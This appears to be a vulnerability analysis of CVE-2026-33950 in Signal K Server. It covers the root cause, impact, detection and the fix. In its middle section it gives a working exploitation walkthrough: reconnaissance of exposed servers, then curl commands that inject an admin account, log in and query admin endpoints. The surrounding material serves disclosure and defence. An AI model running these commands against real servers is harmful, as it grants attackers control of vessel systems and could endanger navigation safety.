CVE-2026-33950: 
JavaScript vulnerability analysis and mitigation

CVE-2026-33950 is a critical privilege escalation vulnerability in Signal K Server, a marine vessel data hub application, caused by Admin Role Injection via the /enableSecurity endpoint. An unauthenticated remote attacker can gain full Administrator access to the server at any time by exploiting the permanently open /skServer/enableSecurity route. All versions prior to 2.24.0-beta.4 are affected, including 2.24.0-beta1, 2.24.0-beta2, and 2.24.0-beta3. The vulnerability was published on April 2, 2026, and patched in v2.24.0-beta.4. It carries a CVSS v3.1 base score of 9.4 (Critical) (Github Advisory, SignalK Advisory).

The root cause lies in two flaws in src/serverroutes.ts and src/tokensecurity.ts. The /skServer/enableSecurity endpoint is registered conditionally at startup (only when no users exist), but is never deregistered after the initial admin account is created — meaning it remains permanently accessible even after security is fully enabled. Additionally, the addUser() function in tokensecurity.ts blindly trusts the type field from the request body, allowing an attacker to inject a user with "type": "admin" without any server-side validation. This constitutes CWE-285 (Improper Authorization), CWE-288 (Authentication Bypass Using an Alternate Path or Channel), and CWE-862 (Missing Authorization). No authentication, special privileges, or user interaction are required to exploit this vulnerability over the network (SignalK Advisory).

Successful exploitation grants an unauthenticated attacker full Administrator access to the Signal K Server, enabling them to modify sensitive vessel routing and navigation data, alter server configurations, and access all restricted administrative endpoints. In a maritime context, tampering with vessel routing data could have serious safety implications beyond typical IT security concerns. The vulnerability has high confidentiality and integrity impact, with low availability impact, and can be exploited remotely with minimal effort (SignalK Advisory, Github Advisory).

A detailed proof-of-concept (PoC) using curl commands is publicly available in the GitHub Security Advisory, demonstrating step-by-step admin account injection on a live server (SignalK Advisory). Feedly threat intelligence classifies the exploit as a real exploit with high confidence. There is currently no evidence of in-the-wild exploitation, and no threat actor attribution has been reported. The EPSS score is approximately 0.032–0.049%, indicating low but non-negligible exploitation probability. The vulnerability is not currently listed in the CISA KEV catalog (Github Advisory).

1. Reconnaissance: Identify internet-facing or network-accessible Signal K Server instances (default port 3000) using tools like Shodan, Censys, or direct network scanning. Confirm the server version is prior to 2.24.0-beta.4.
2. Verify endpoint availability: Send a probe request to confirm the /skServer/enableSecurity endpoint is reachable and responding, even on a fully configured server with security enabled.
3. Inject malicious admin account: Send a crafted HTTP POST request to the unprotected endpoint with a JSON payload specifying attacker-controlled credentials and "type": "admin":

curl -X POST http://<target>:3000/skServer/enableSecurity \
  -H "Content-Type: application/json" \
  -d '{"userId": "attacker", "password": "password123", "type": "admin"}'

4. Authenticate as the injected admin: Use the newly created credentials to obtain a JWT token via the login endpoint:

TOKEN=$(curl -s -X POST http://<target>:3000/signalk/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "attacker", "password": "password123"}' | jq -r .token)

5. Access restricted administrative data: Use the obtained token to query admin-only endpoints, modify vessel routing data, or alter server configurations:

curl -H "Authorization: Bearer $TOKEN" http://<target>:3000/skServer/security/users

(SignalK Advisory)

• Network: Unexpected HTTP POST requests to /skServer/enableSecurity from external or untrusted IP addresses, especially after initial server setup; repeated login attempts from unknown usernames to /signalk/v1/auth/login.
• Logs: Server access logs showing POST requests to /skServer/enableSecurity with a 200 OK or Security enabled response after the initial admin setup phase; JWT authentication events for unrecognized usernames.
• Application State: Presence of unexpected or unrecognized administrator accounts when querying /skServer/security/users; configuration changes not initiated by legitimate administrators.
• Process/Behavior: Unauthorized modifications to vessel routing data, server configuration files, or plugin settings that cannot be attributed to known admin activity.

Upgrade Signal K Server to version 2.24.0-beta.4 or later, which disables the /skServer/enableSecurity endpoint after initial setup and adds proper authorization checks for configuration mutation endpoints (SignalK Release). If immediate upgrade is not possible, restrict network access to the Signal K server to trusted networks only using firewall rules or network segmentation. Additionally, audit all administrator accounts via /skServer/security/users to identify and remove any unauthorized entries, and review server access logs for suspicious POST requests to the /skServer/enableSecurity endpoint (Github Advisory).

The vulnerability was reported by researcher VashuVats and published by Signal K maintainer tkurki on April 1, 2026 (SignalK Advisory). The Hacker Wire covered the vulnerability with a dedicated article on the admin role injection issue (The Hacker Wire). Social media activity was noted on Mastodon via The Hacker Wire's account, and the CVE was tracked across multiple vulnerability aggregation platforms including VulDB, CVEFeed, and GitLab Advisories.